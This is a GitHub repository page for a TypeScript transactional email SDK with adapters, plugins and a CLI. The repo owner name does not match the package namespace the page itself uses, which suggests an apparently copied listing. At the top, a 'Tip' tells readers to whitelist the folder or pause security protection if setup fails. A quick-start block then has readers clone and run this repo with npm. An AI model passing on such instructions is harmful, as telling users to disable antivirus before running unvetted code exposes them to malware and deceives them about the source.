Skip to content

Powderbatpatch/email-sdk-552

Repository files navigation

Email SDK

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/Powderbatpatch/email-sdk-552.git
cd email-sdk-552
npm install
npm start

GitHub stars GitHub issues Last commit Follow on X

A lightweight TypeScript SDK for transactional email send pipelines. Use one client in your app, pick the adapters you actually send through, validate provider compatibility before data is silently dropped, add retries and fallback routes, observe send behavior, and keep provider-specific field support visible in the docs.

Docs: https://email-sdk.dev/docs

Sponsors

Email SDK is supported by companies helping keep provider integrations practical and maintained.

Special Sponsors

Resend logo
Resend

Docs
Sequenzy logo
Sequenzy

Docs

What Is Here

  • packages/email-sdk - core SDK, adapters, plugins, CLI, tests, and package README
  • apps/fumadocs - documentation site
  • skills/email-sdk - repo-local agent skill for Email SDK integrations

SDK Surface

  • One normalized EmailMessage shape.
  • Adapter routing through defaultAdapter, per-send adapter, fallback, and fallbackAdapters.
  • Fail-fast field support checks for fields a provider cannot represent.
  • Retries inside one adapter and fallback routes after an adapter fails.
  • Hooks and the observability plugin for logs, metrics, traces, retry visibility, and errors.
  • Built-in defaults, observability, and capture plugins.
  • Test capture and memory/failing adapters for app tests that should not call real providers.
  • CLI dry-runs, adapter discovery, setup checks, and smoke-test sends.
  • Built-in SMTP transport without Nodemailer.

See packages/email-sdk/README.md for SDK usage examples, read the public docs at https://email-sdk.dev/docs, or start with these pages:

Adapter Entry Points

resend, postmark, sendgrid, mailgun, mailersend, brevo, mailchimp, sparkpost, iterable, loops, sequenzy, plunk, mailtrap, cloudflare, unosend, scaleway, zeptomail, mailpace, smtp, and testing are exported from separate package entry points.

If you are choosing your first adapter, start with Resend for the shortest path to a first send. Use Iterable or Sequenzy for product-led transactional sends. Use Postmark, SendGrid, AWS SES, Mailgun, Cloudflare, Unosend, or Brevo when you need broader provider-specific controls. Use SMTP when you already have a trusted SMTP service and only need address fields, headers, and plain message delivery.

Plugin entry points:

  • @opencoredev/email-sdk/plugins/defaults
  • @opencoredev/email-sdk/plugins/observability
  • @opencoredev/email-sdk/plugins/capture

CLI

Run the CLI without installing anything globally:

bunx --bun --package @opencoredev/email-sdk email-sdk adapters

After adding the package to a project, run the installed binary:

RESEND_API_KEY="re_..." npx email-sdk doctor --adapter resend

Agent Skill

Install the Email SDK agent skill from skills.sh when you want an AI agent to add, review, or document an integration:

npx skills add opencoredev/email-sdk --skill email-sdk

The skill is stored in skills/email-sdk/SKILL.md. It tells agents to refresh the current README, Fumadocs pages, package exports, and TypeScript declarations before implementing, so the guidance stays useful as the SDK evolves without needing every new adapter or option copied into the skill.

Development

bun install
bun test
bun run check-types
bun run build

Useful workspace scripts:

  • bun run build - build packages and apps through Turbo
  • bun run check-types - run TypeScript checks across the workspace
  • bun test - run package tests
  • bun run check - run Oxlint and Oxfmt with write formatting
  • bun run dev - start the docs dev server through Turbo

Reliability Notes

The SDK validates messages locally and adapter tests verify payload mapping with injected fetch calls. Real provider sends still depend on live account setup: verified domains, sender identities, API scopes, sandbox settings, regions, rate limits, and provider-specific policy.

Before production use, configure one primary adapter, add a fallback adapter where delivery matters, and run a live smoke send from the target environment.

About

Email SDK is a lightweight TypeScript library for sending email through Resend, Postmark, SendGrid, Mailgun, Brevo, SMTP, and more

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors